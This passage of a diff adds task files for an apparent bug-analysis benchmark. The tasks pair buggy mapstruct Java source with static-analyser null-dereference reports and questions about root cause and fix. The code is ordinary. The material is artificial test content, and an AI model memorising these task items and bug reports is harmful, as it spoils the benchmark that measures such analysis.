+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `componentModel` last assigned on line 42 could be null and is dereferenced at line 44.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Mapper CdiComponentProcessor.process(ModelElementProcessor$ProcessorContext,TypeElement,Mapper)
+
+### Procedure Id:
+org.mapstruct.ap.processor.CdiComponentProcessor.process(org.mapstruct.ap.processor.ModelElementProc.7f5ab5a1965e6419ef79da321b41fe0f
+
+### File:
+processor/src/main/java/org/mapstruct/ap/processor/CdiComponentProcessor.java
+
+### Key:
+CdiComponentProcessor.java|process|NULL_DEREFERENCE
+
+### Node Key:
+18086a76ec6f499138a84f176568ec09
+
+### Hash:
+8b0999fe727232db2fce93d88d7f8fcb
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4552/instruction.md b/inferredbugs-4552/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c23c09bd37ca85177ea0083555510141d8e2d485
--- /dev/null
+++ b/inferredbugs-4552/instruction.md
@@ -0,0 +1,658 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mapstruct
+**Bug ID:** 15
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ *  Copyright 2012-2013 Gunnar Morling (http://www.gunnarmorling.de/)
+ *  and/or other contributors as indicated by the @authors tag. See the
+ *  copyright.txt file in the distribution for a full listing of all
+ *  contributors.
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+package org.mapstruct.ap.processor;
+
+import java.beans.Introspector;
+import java.text.MessageFormat;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import javax.annotation.processing.Messager;
+import javax.lang.model.element.ExecutableElement;
+import javax.lang.model.element.TypeElement;
+import javax.lang.model.type.TypeKind;
+import javax.lang.model.type.TypeMirror;
+import javax.lang.model.util.Elements;
+import javax.tools.Diagnostic.Kind;
+
+import org.mapstruct.ap.MapperPrism;
+import org.mapstruct.ap.conversion.ConversionProvider;
+import org.mapstruct.ap.conversion.Conversions;
+import org.mapstruct.ap.conversion.DefaultConversionContext;
+import org.mapstruct.ap.model.BeanMappingMethod;
+import org.mapstruct.ap.model.DefaultMapperReference;
+import org.mapstruct.ap.model.IterableMappingMethod;
+import org.mapstruct.ap.model.MapMappingMethod;
+import org.mapstruct.ap.model.Mapper;
+import org.mapstruct.ap.model.MapperReference;
+import org.mapstruct.ap.model.MappingMethod;
+import org.mapstruct.ap.model.MappingMethodReference;
+import org.mapstruct.ap.model.Options;
+import org.mapstruct.ap.model.Parameter;
+import org.mapstruct.ap.model.PropertyMapping;
+import org.mapstruct.ap.model.ReportingPolicy;
+import org.mapstruct.ap.model.Type;
+import org.mapstruct.ap.model.TypeConversion;
+import org.mapstruct.ap.model.source.Mapping;
+import org.mapstruct.ap.model.source.Method;
+import org.mapstruct.ap.util.Executables;
+import org.mapstruct.ap.util.Filters;
+import org.mapstruct.ap.util.Strings;
+import org.mapstruct.ap.util.TypeFactory;
+
+/**
+ * A {@link ModelElementProcessor} which creates a {@link Mapper} from the given
+ * list of {@link Method}s.
+ *
+ * @author Gunnar Morling
+ */
+public class MapperCreationProcessor implements ModelElementProcessor<List<Method>, Mapper> {
+
+    private static final String IMPLEMENTATION_SUFFIX = "Impl";
+
+    private Elements elementUtils;
+    private Messager messager;
+    private Options options;
+
+    private TypeFactory typeFactory;
+    private Conversions conversions;
+    private Executables executables;
+    private Filters filters;
+
+    @Override
+    public Mapper process(ProcessorContext context, TypeElement mapperTypeElement, List<Method> sourceModel) {
+        this.elementUtils = context.getElementUtils();
+        this.messager = context.getMessager();
+        this.options = context.getOptions();
+
+        this.typeFactory = context.getTypeFactory();
+        this.conversions = new Conversions( elementUtils, typeFactory );
+        this.executables = new Executables( typeFactory );
+        this.filters = new Filters( executables );
+
+        return getMapper( mapperTypeElement, sourceModel );
+    }
+
+    @Override
+    public int getPriority() {
+        return 1000;
+    }
+
+    private Mapper getMapper(TypeElement element, List<Method> methods) {
+        ReportingPolicy unmappedTargetPolicy = getEffectiveUnmappedTargetPolicy( element );
+        List<MappingMethod> mappingMethods = getMappingMethods( methods, unmappedTargetPolicy );
+        List<MapperReference> mapperReferences = getReferencedMappers( element );
+
+        return new Mapper(
+            typeFactory,
+            elementUtils.getPackageOf( element ).getQualifiedName().toString(),
+            element.getSimpleName().toString(),
+            element.getSimpleName() + IMPLEMENTATION_SUFFIX,
+            mappingMethods,
+            mapperReferences,
+            options
+        );
+    }
+
+    /**
+     * Returns the effective policy for reporting unmapped target properties. If
+     * explicitly set via {@code Mapper}, this value will be returned. Otherwise
+     * the value from the corresponding processor option will be returned. If
+     * that is not set either, the default value from
+     * {@code Mapper#unmappedTargetPolicy()} will be returned.
+     *
+     * @param element The type declaring the generated mapper type
+     *
+     * @return The effective policy for reporting unmapped target properties.
+     */
+    private ReportingPolicy getEffectiveUnmappedTargetPolicy(TypeElement element) {
+        MapperPrism mapperPrism = MapperPrism.getInstanceOn( element );
+        boolean setViaAnnotation = mapperPrism.values.unmappedTargetPolicy() != null;
+        ReportingPolicy annotationValue = ReportingPolicy.valueOf( mapperPrism.unmappedTargetPolicy() );
+
+        if ( setViaAnnotation ||
+            options.getUnmappedTargetPolicy() == null ) {
+            return annotationValue;
+        }
+        else {
+            return options.getUnmappedTargetPolicy();
+        }
+    }
+
+    private List<MapperReference> getReferencedMappers(TypeElement element) {
+        List<MapperReference> mapperReferences = new LinkedList<MapperReference>();
+        MapperPrism mapperPrism = MapperPrism.getInstanceOn( element );
+
+        for ( TypeMirror usedMapper : mapperPrism.uses() ) {
+            mapperReferences.add( new DefaultMapperReference( typeFactory.getType( usedMapper ) ) );
+        }
+
+        return mapperReferences;
+    }
+
+    private List<MappingMethod> getMappingMethods(List<Method> methods, ReportingPolicy unmappedTargetPolicy) {
+        List<MappingMethod> mappingMethods = new ArrayList<MappingMethod>();
+
+        for ( Method method : methods ) {
+            if ( method.getDeclaringMapper() != null ) {
+                continue;
+            }
+
+            reportErrorIfNoImplementationTypeIsRegisteredForInterfaceReturnType( method );
+
+            Method reverseMappingMethod = getReverseMappingMethod( methods, method );
+
+            if ( method.isIterableMapping() ) {
+                if ( method.getIterableMapping() == null && reverseMappingMethod != null &&
+                    reverseMappingMethod.getIterableMapping() != null ) {
+                    method.setIterableMapping( reverseMappingMethod.getIterableMapping() );
+                }
+                mappingMethods.add( getIterableMappingMethod( methods, method ) );
+            }
+            else if ( method.isMapMapping() ) {
+                if ( method.getMapMapping() == null && reverseMappingMethod != null &&
+                    reverseMappingMethod.getMapMapping() != null ) {
+                    method.setMapMapping( reverseMappingMethod.getMapMapping() );
+                }
+                mappingMethods.add( getMapMappingMethod( methods, method ) );
+            }
+            else {
+                if ( method.getMappings().isEmpty() ) {
+                    if ( reverseMappingMethod != null && !reverseMappingMethod.getMappings().isEmpty() ) {
+                        method.setMappings( reverse( reverseMappingMethod.getMappings() ) );
+                    }
+                }
+                MappingMethod beanMappingMethod = getBeanMappingMethod( methods, method, unmappedTargetPolicy );
+                if ( beanMappingMethod != null ) {
+                    mappingMethods.add( beanMappingMethod );
+                }
+            }
+        }
+        return mappingMethods;
+    }
+
+    private void reportErrorIfNoImplementationTypeIsRegisteredForInterfaceReturnType(Method method) {
+        if ( method.getReturnType().getTypeMirror().getKind() != TypeKind.VOID &&
+            method.getReturnType().isInterface() &&
+            method.getReturnType().getImplementationType() == null ) {
+            messager.printMessage(
+                Kind.ERROR,
+                String.format(
+                    "No implementation type is registered for return type %s.",
+                    method.getReturnType()
+                ),
+                method.getExecutable()
+            );
+        }
+    }
+
+    private Map<String, Mapping> reverse(Map<String, Mapping> mappings) {
+        Map<String, Mapping> reversed = new HashMap<String, Mapping>();
+
+        for ( Mapping mapping : mappings.values() ) {
+            reversed.put( mapping.getTargetName(), mapping.reverse() );
+        }
+        return reversed;
+    }
+
+    private PropertyMapping getPropertyMapping(List<Method> methods, Method method, ExecutableElement setterMethod,
+                                               Parameter parameter) {
+        String targetPropertyName = executables.getPropertyName( setterMethod );
+        Mapping mapping = method.getMapping( targetPropertyName );
+        String dateFormat = mapping != null ? mapping.getDateFormat() : null;
+        String sourcePropertyName = mapping != null ? mapping.getSourcePropertyName() : targetPropertyName;
+        TypeElement parameterElement = parameter.getType().getTypeElement();
+        List<ExecutableElement> sourceGetters = filters.getterMethodsIn(
+            elementUtils.getAllMembers( parameterElement )
+        );
+
+        for ( ExecutableElement getter : sourceGetters ) {
+            Mapping sourceMapping = method.getMappings().get( sourcePropertyName );
+            boolean mapsToOtherTarget =
+                sourceMapping != null && !sourceMapping.getTargetName().equals( targetPropertyName );
+            if ( executables.getPropertyName( getter ).equals( sourcePropertyName ) && !mapsToOtherTarget ) {
+                return getPropertyMapping(
+                    methods,
+                    method,
+                    parameter,
+                    getter,
+                    setterMethod,
+                    dateFormat
+                );
+            }
+        }
+
+        return null;
+    }
+
+    private MappingMethod getBeanMappingMethod(List<Method> methods, Method method,
+                                               ReportingPolicy unmappedTargetPolicy) {
+        List<PropertyMapping> propertyMappings = new ArrayList<PropertyMapping>();
+        Set<String> mappedTargetProperties = new HashSet<String>();
+
+        if ( !reportErrorIfMappedPropertiesDontExist( method ) ) {
+            return null;
+        }
+
+        TypeElement resultTypeElement = method.getResultType().getTypeElement();
+        List<ExecutableElement> targetSetters = filters.setterMethodsIn(
+            elementUtils.getAllMembers( resultTypeElement )
+        );
+
+        for ( ExecutableElement setterMethod : targetSetters ) {
+            String targetPropertyName = executables.getPropertyName( setterMethod );
+
+            Mapping mapping = method.getMapping( targetPropertyName );
+
+            PropertyMapping propertyMapping = null;
+            if ( mapping != null && mapping.getSourceParameterName() != null ) {
+                Parameter parameter = method.getSourceParameter( mapping.getSourceParameterName() );
+                propertyMapping = getPropertyMapping( methods, method, setterMethod, parameter );
+            }
+
+            if ( propertyMapping == null ) {
+                for ( Parameter sourceParameter : method.getSourceParameters() ) {
+                    PropertyMapping newPropertyMapping = getPropertyMapping(
+                        methods,
+                        method,
+                        setterMethod,
+                        sourceParameter
+                    );
+                    if ( propertyMapping != null && newPropertyMapping != null ) {
+                        messager.printMessage(
+                            Kind.ERROR,
+                            "Several possible source properties for target property \"" + targetPropertyName + "\".",
+                            method.getExecutable()
+                        );
+                        break;
+                    }
+                    else if ( newPropertyMapping != null ) {
+                        propertyMapping = newPropertyMapping;
+                    }
+                }
+            }
+
+            if ( propertyMapping != null ) {
+                propertyMappings.add( propertyMapping );
+                mappedTargetProperties.add( targetPropertyName );
+            }
+        }
+
+        Set<String> targetProperties = executables.getPropertyNames( targetSetters );
+
+        reportErrorForUnmappedTargetPropertiesIfRequired(
+            method,
+            unmappedTargetPolicy,
+            targetProperties,
+            mappedTargetProperties
+        );
+
+        return new BeanMappingMethod( method, propertyMappings );
+    }
+
+    private void reportErrorForUnmappedTargetPropertiesIfRequired(Method method,
+                                                                  ReportingPolicy unmappedTargetPolicy,
+                                                                  Set<String> targetProperties,
+                                                                  Set<String> mappedTargetProperties) {
+
+        if ( targetProperties.size() > mappedTargetProperties.size() &&
+            unmappedTargetPolicy.requiresReport() ) {
+            targetProperties.removeAll( mappedTargetProperties );
+            messager.printMessage(
+                unmappedTargetPolicy.getDiagnosticKind(),
+                MessageFormat.format(
+                    "Unmapped target {0,choice,1#property|1<properties}: \"{1}\"",
+                    targetProperties.size(),
+                    Strings.join( targetProperties, ", " )
+                ),
+                method.getExecutable()
+            );
+        }
+    }
+
+    private Method getReverseMappingMethod(List<Method> rawMethods, Method method) {
+        for ( Method oneMethod : rawMethods ) {
+            if ( oneMethod.reverses( method ) ) {
+                return oneMethod;
+            }
+        }
+        return null;
+    }
+
+    private boolean hasSourceProperty(Method method, String propertyName) {
+        for ( Parameter parameter : method.getSourceParameters() ) {
+            if ( hasProperty( parameter, propertyName ) ) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    private boolean hasProperty(Parameter parameter, String propertyName) {
+        TypeElement parameterTypeElement = parameter.getType().getTypeElement();
+        List<ExecutableElement> getters = filters.setterMethodsIn(
+            elementUtils.getAllMembers( parameterTypeElement )
+        );
+
+        return executables.getPropertyNames( getters ).contains( propertyName );
+    }
+
+    private boolean reportErrorIfMappedPropertiesDontExist(Method method) {
+        TypeElement resultTypeElement = method.getResultType().getTypeElement();
+        List<ExecutableElement> targetSetters = filters.setterMethodsIn(
+            elementUtils.getAllMembers( resultTypeElement )
+        );
+
+        Set<String> targetProperties = executables.getPropertyNames( targetSetters );
+
+        boolean foundUnmappedProperty = false;
+
+        for ( Mapping mappedProperty : method.getMappings().values() ) {
+            if ( mappedProperty.getSourceParameterName() != null ) {
+                Parameter sourceParameter = method.getSourceParameter( mappedProperty.getSourceParameterName() );
+
+                if ( sourceParameter == null ) {
+                    messager.printMessage(
+                        Kind.ERROR,
+                        String.format(
+                            "Method has no parameter named \"%s\".",
+                            mappedProperty.getSourceParameterName()
+                        ),
+                        method.getExecutable(),
+                        mappedProperty.getMirror(),
+                        mappedProperty.getSourceAnnotationValue()
+                    );
+                    foundUnmappedProperty = true;
+                }
+                else {
+                    if ( !hasProperty( sourceParameter, mappedProperty.getSourcePropertyName() ) ) {
+                        messager.printMessage(
+                            Kind.ERROR,
+                            String.format(
+                                "The type of parameter \"%s\" has no property named \"%s\".",
+                                mappedProperty.getSourceParameterName(),
+                                mappedProperty.getSourcePropertyName()
+                            ),
+                            method.getExecutable(),
+                            mappedProperty.getMirror(),
+                            mappedProperty.getSourceAnnotationValue()
+                        );
+                        foundUnmappedProperty = true;
+                    }
+                }
+
+            }
+            else if ( !hasSourceProperty(
+                method,
+                mappedProperty.getSourcePropertyName()
+            ) ) {
+                messager.printMessage(
+                    Kind.ERROR,
+                    String.format(
+                        "No property named \"%s\" exists in source parameter(s).",
+                        mappedProperty.getSourceName()
+                    ),
+                    method.getExecutable(),
+                    mappedProperty.getMirror(),
+                    mappedProperty.getSourceAnnotationValue()
+                );
+                foundUnmappedProperty = true;
+            }
+            if ( !targetProperties.contains( mappedProperty.getTargetName() ) ) {
+                messager.printMessage(
+                    Kind.ERROR,
+                    String.format(
+                        "Unknown property \"%s\" in return type %s.",
+                        mappedProperty.getTargetName(),
+                        method.getResultType()
+                    ),
+                    method.getExecutable(),
+                    mappedProperty.getMirror(),
+                    mappedProperty.getTargetAnnotationValue()
+                );
+                foundUnmappedProperty = true;
+            }
+        }
+
+        return !foundUnmappedProperty;
+    }
+
+    private PropertyMapping getPropertyMapping(List<Method> methods, Method method, Parameter parameter,
+                                               ExecutableElement getterMethod, ExecutableElement setterMethod,
+                                               String dateFormat) {
+        Type sourceType = executables.retrieveReturnType( getterMethod );
+        Type targetType = executables.retrieveSingleParameter( setterMethod ).getType();
+
+        MappingMethodReference propertyMappingMethod = getMappingMethodReference( methods, sourceType, targetType );
+        TypeConversion conversion = getConversion(
+            sourceType,
+            targetType,
+            dateFormat,
+            parameter.getName() + "." + getterMethod.getSimpleName().toString() + "()"
+        );
+
+        PropertyMapping property = new PropertyMapping(
+            parameter.getName(),
+            executables.getPropertyName( getterMethod ),
+            getterMethod.getSimpleName().toString(),
+            sourceType,
+            executables.getPropertyName( setterMethod ),
+            setterMethod.getSimpleName().toString(),
+            targetType,
+            propertyMappingMethod,
+            conversion
+        );
+
+        reportErrorIfPropertyCanNotBeMapped(
+            method,
+            property
+        );
+
+        return property;
+    }
+
+    private MappingMethod getIterableMappingMethod(List<Method> methods, Method method) {
+        Type sourceElementType = method.getSourceParameters().iterator().next().getType().getTypeParameters().get( 0 );
+        Type targetElementType = method.getResultType().getTypeParameters().get( 0 );
+
+        TypeConversion conversion = getConversion(
+            sourceElementType,
+            targetElementType,
+            method.getIterableMapping() != null ? method.getIterableMapping().getDateFormat() : null,
+            Strings.getSaveVariableName(
+                Introspector.decapitalize( sourceElementType.getName() ),
+                method.getParameterNames()
+            )
+        );
+
+        return new IterableMappingMethod(
+            method,
+            getMappingMethodReference( methods, sourceElementType, targetElementType ),
+            conversion
+        );
+    }
+
+    private MappingMethod getMapMappingMethod(List<Method> methods, Method method) {
+        List<Type> sourceTypeParams = method.getSourceParameters().iterator().next().getType().getTypeParameters();
+        Type sourceKeyType = sourceTypeParams.get( 0 );
+        Type sourceValueType = sourceTypeParams.get( 1 );
+
+        List<Type> resultTypeParams = method.getResultType().getTypeParameters();
+        Type targetKeyType = resultTypeParams.get( 0 );
+        Type targetValueType = resultTypeParams.get( 1 );
+
+        String keyDateFormat = method.getMapMapping() != null ? method.getMapMapping().getKeyFormat() : null;
+        String valueDateFormat = method.getMapMapping() != null ? method.getMapMapping().getValueFormat() : null;
+
+        TypeConversion keyConversion = getConversion( sourceKeyType, targetKeyType, keyDateFormat, "entry.getKey()" );
+        TypeConversion valueConversion = getConversion(
+            sourceValueType,
+            targetValueType,
+            valueDateFormat,
+            "entry.getValue()"
+        );
+
+        MappingMethodReference keyMappingMethod = getMappingMethodReference( methods, sourceKeyType, targetKeyType );
+        MappingMethodReference valueMappingMethod = getMappingMethodReference(
+            methods,
+            sourceValueType,
+            targetValueType
+        );
+
+        return new MapMappingMethod( method, keyMappingMethod, keyConversion, valueMappingMethod, valueConversion );
+    }
+
+    private TypeConversion getConversion(Type sourceType, Type targetType, String dateFormat, String sourceReference) {
+        ConversionProvider conversionProvider = conversions.getConversion( sourceType, targetType );
+
+        if ( conversionProvider == null ) {
+            return null;
+        }
+
+        return conversionProvider.to(
+            sourceReference,
+            new DefaultConversionContext( typeFactory, targetType, dateFormat )
+        );
+    }
+
+    private MappingMethodReference getMappingMethodReference(Iterable<Method> methods, Type parameterType,
+                                                             Type returnType) {
+        for ( Method method : methods ) {
+            if ( method.getSourceParameters().size() > 1 ) {
+                continue;
+            }
+
+            Parameter singleSourceParam = method.getSourceParameters().iterator().next();
+
+            if ( singleSourceParam.getType().equals( parameterType ) && method.getResultType().equals( returnType ) ) {
+                return new MappingMethodReference( method );
+            }
+        }
+
+        return null;
+    }
+
+    /**
+     * Reports an error if source and target type of the property are different
+     * and neither a mapping method nor a conversion exists nor the property is
+     * of a collection type with default implementation
+     *
+     * @param method The mapping method owning the property mapping.
+     * @param property The property mapping to check.
+     */
+    private void reportErrorIfPropertyCanNotBeMapped(Method method, PropertyMapping property) {
+        if ( property.getSourceType().equals( property.getTargetType() ) ||
+            property.getMappingMethod() != null ||
+            property.getConversion() != null ||
+            property.getTargetType().getImplementationType() != null ) {
+            return;
+        }
+
+        messager.printMessage(
+            Kind.ERROR,
+            String.format(
+                "Can't map property \"%s %s\" to \"%s %s\".",
+                property.getSourceType().getName(),
+                property.getSourceName(),
+                property.getTargetType().getName(),
+                property.getTargetName()
+            ),
+            method.getExecutable()
+        );
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `property.getTargetType()` could be null and is dereferenced at line 568.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void MapperCreationProcessor.reportErrorIfPropertyCanNotBeMapped(Method,PropertyMapping)
+
+### Procedure Id:
+org.mapstruct.ap.processor.MapperCreationProcessor.reportErrorIfPropertyCanNotBeMapped(org.mapstruct.7a76e417c0e55c1826f717ea92dafe4d
+
+### File:
+processor/src/main/java/org/mapstruct/ap/processor/MapperCreationProcessor.java
+
+### Key:
+MapperCreationProcessor.java|reportErrorIfPropertyCanNotBeMapped|NULL_DEREFERENCE
+
+### Node Key:
+18086a76ec6f499138a84f176568ec09
+
+### Hash:
+d0b9cc97c0a5e4bf54fe64d1f7079993
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4553/instruction.md b/inferredbugs-4553/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..05e16b41756c390e056260269075499037527bef
--- /dev/null
+++ b/inferredbugs-4553/instruction.md
@@ -0,0 +1,456 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mapstruct
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ *  Copyright 2012-2013 Gunnar Morling (http://www.gunnarmorling.de/)
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+package org.mapstruct.ap;
+
+import java.beans.Introspector;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import javax.annotation.processing.ProcessingEnvironment;
+import javax.lang.model.element.Element;
+import javax.lang.model.element.ExecutableElement;
+import javax.lang.model.element.TypeElement;
+import javax.lang.model.element.VariableElement;
+import javax.lang.model.type.TypeKind;
+import javax.lang.model.util.ElementKindVisitor6;
+import javax.lang.model.util.Elements;
+import javax.lang.model.util.Types;
+import javax.tools.JavaFileObject;
+
+import org.mapstruct.ap.conversion.Conversion;
+import org.mapstruct.ap.conversion.Conversions;
+import org.mapstruct.ap.model.BeanMapping;
+import org.mapstruct.ap.model.Mapper;
+import org.mapstruct.ap.model.MappingMethod;
+import org.mapstruct.ap.model.PropertyMapping;
+import org.mapstruct.ap.model.Type;
+import org.mapstruct.ap.model.source.MappedProperty;
+import org.mapstruct.ap.model.source.Mapping;
+import org.mapstruct.ap.model.source.Method;
+import org.mapstruct.ap.model.source.Parameter;
+import org.mapstruct.ap.util.TypeUtil;
+import org.mapstruct.ap.writer.ModelWriter;
+
+import static javax.lang.model.util.ElementFilter.methodsIn;
+
+public class MapperGenerationVisitor extends ElementKindVisitor6<Void, Void> {
+
+	private final static String IMPLEMENTATION_SUFFIX = "Impl";
+
+	private final ProcessingEnvironment processingEnvironment;
+	private final Types typeUtils;
+	private final Elements elementUtils;
+	private final TypeUtil typeUtil;
+
+	public MapperGenerationVisitor(ProcessingEnvironment processingEnvironment) {
+		this.processingEnvironment = processingEnvironment;
+		this.typeUtils = processingEnvironment.getTypeUtils();
+		this.elementUtils = processingEnvironment.getElementUtils();
+		this.typeUtil = new TypeUtil( elementUtils, typeUtils );
+	}
+
+	@Override
+	public Void visitTypeAsInterface(TypeElement element, Void p) {
+		Mapper model = retrieveModel( element );
+		String sourceFileName = element.getQualifiedName() + IMPLEMENTATION_SUFFIX;
+
+		writeModelToSourceFile( sourceFileName, model );
+
+		return null;
+	}
+
+	private void writeModelToSourceFile(String fileName, Mapper model) {
+		JavaFileObject sourceFile;
+		try {
+			sourceFile = processingEnvironment.getFiler().createSourceFile( fileName );
+		}
+		catch ( IOException e ) {
+			throw new RuntimeException( e );
+		}
+
+		ModelWriter modelWriter = new ModelWriter( "mapper-implementation.ftl" );
+		modelWriter.writeModel( sourceFile, model );
+	}
+
+	private Mapper retrieveModel(TypeElement element) {
+		List<Method> methods = retrieveMethods( element );
+		Set<Method> processedMethods = new HashSet<Method>();
+		List<BeanMapping> mappings = new ArrayList<BeanMapping>();
+
+		Conversions conversions = new Conversions( elementUtils, typeUtils, typeUtil );
+
+		for ( Method method : methods ) {
+			if ( processedMethods.contains( method ) ) {
+				continue;
+			}
+
+			MappingMethod mappingMethod = new MappingMethod(
+					method.getName(),
+					method.getParameterName(),
+					getElementMappingMethod( methods, method )
+			);
+
+			MappingMethod reverseMappingMethod = null;
+			Method rawReverseMappingMethod = getReverseMappingMethod( methods, method );
+			if ( rawReverseMappingMethod != null ) {
+				processedMethods.add( rawReverseMappingMethod );
+
+				reverseMappingMethod = new MappingMethod(
+						rawReverseMappingMethod.getName(),
+						rawReverseMappingMethod.getParameterName(),
+						getElementMappingMethod( methods, rawReverseMappingMethod )
+				);
+			}
+
+			List<PropertyMapping> propertyMappings = new ArrayList<PropertyMapping>();
+
+			for ( MappedProperty property : method.getMappedProperties() ) {
+				Method propertyMappingMethod = getPropertyMappingMethod( methods, property );
+				Method reversePropertyMappingMethod = getReversePropertyMappingMethod( methods, property );
+
+				Conversion conversion = conversions.getConversion( property.getSourceType(), property.getTargetType() );
+
+				propertyMappings.add(
+						new PropertyMapping(
+								property.getSourceName(),
+								property.getSourceType(),
+								property.getTargetName(),
+								property.getTargetType(),
+								property.getConverterType(),
+								propertyMappingMethod != null ? new MappingMethod(
+										propertyMappingMethod.getName(),
+										propertyMappingMethod.getParameterName()
+								) : null,
+								reversePropertyMappingMethod != null ? new MappingMethod(
+										reversePropertyMappingMethod.getName(),
+										reversePropertyMappingMethod.getParameterName()
+								) : null,
+								conversion != null ? conversion.to(
+										mappingMethod.getParameterName() + "." + getAccessor(
+												property.getSourceName()
+										),
+										property.getTargetType()
+								) : null,
+								conversion != null ? conversion.from(
+										reverseMappingMethod.getParameterName() + "." + getAccessor(
+												property.getTargetName()
+										),
+										property.getSourceType()
+								) : null
+						)
+				);
+			}
+			BeanMapping mapping = new BeanMapping(
+					method.getSourceType(),
+					method.getTargetType(),
+					propertyMappings,
+					mappingMethod,
+					reverseMappingMethod
+			);
+
+			mappings.add( mapping );
+		}
+
+		Mapper mapper = new Mapper(
+				elementUtils.getPackageOf( element ).getQualifiedName().toString(),
+				element.getSimpleName().toString(),
+				element.getSimpleName() + IMPLEMENTATION_SUFFIX,
+				mappings
+		);
+
+		return mapper;
+	}
+
+	private String getAccessor(String name) {
+		return "get" + capitalize( name ) + "()";
+	}
+
+	private String capitalize(String name) {
+		return name.substring( 0, 1 ).toUpperCase() + name.substring( 1 );
+	}
+
+	private MappingMethod getElementMappingMethod(Iterable<Method> methods, Method method) {
+		Method elementMappingMethod = null;
+		for ( Method oneMethod : methods ) {
+			if ( oneMethod.getSourceType().equals( method.getSourceType().getElementType() ) ) {
+				elementMappingMethod = oneMethod;
+				break;
+			}
+		}
+		return elementMappingMethod == null ? null : new MappingMethod(
+				elementMappingMethod.getName(),
+				elementMappingMethod.getParameterName()
+		);
+	}
+
+	private Method getPropertyMappingMethod(Iterable<Method> rawMethods, MappedProperty property) {
+		for ( Method oneMethod : rawMethods ) {
+			if ( oneMethod.getSourceType().equals( property.getSourceType() ) && oneMethod.getTargetType()
+					.equals( property.getTargetType() ) ) {
+				return oneMethod;
+			}
+		}
+		return null;
+	}
+
+	private Method getReversePropertyMappingMethod(Iterable<Method> methods, MappedProperty property) {
+		for ( Method method : methods ) {
+			if ( method.getSourceType().equals( property.getTargetType() ) && method.getTargetType()
+					.equals( property.getSourceType() ) ) {
+				return method;
+			}
+		}
+		return null;
+	}
+
+	private Method getReverseMappingMethod(List<Method> rawMethods,
+										   Method method) {
+		for ( Method oneMethod : rawMethods ) {
+			if ( oneMethod.reverses( method ) ) {
+				return oneMethod;
+			}
+		}
+		return null;
+	}
+
+	private List<Method> retrieveMethods(TypeElement element) {
+		List<Method> methods = new ArrayList<Method>();
+
+		for ( ExecutableElement method : methodsIn( element.getEnclosedElements() ) ) {
+			Parameter parameter = retrieveParameter( method );
+			Type returnType = retrieveReturnType( method );
+			List<MappedProperty> properties = retrieveMappedProperties( method );
+
+			methods.add(
+					new Method(
+							method.getSimpleName().toString(),
+							parameter.getName(),
+							parameter.getType(),
+							returnType,
+							properties
+					)
+			);
+		}
+
+		return methods;
+	}
+
+	private List<MappedProperty> retrieveMappedProperties(ExecutableElement method) {
+		Map<String, Mapping> mappings = new HashMap<String, Mapping>();
+
+		MappingPrism mappingAnnotation = MappingPrism.getInstanceOn( method );
+		MappingsPrism mappingsAnnotation = MappingsPrism.getInstanceOn( method );
+
+		if ( mappingAnnotation != null ) {
+			mappings.put( mappingAnnotation.source(), getMapping( mappingAnnotation ) );
+		}
+
+		if ( mappingsAnnotation != null ) {
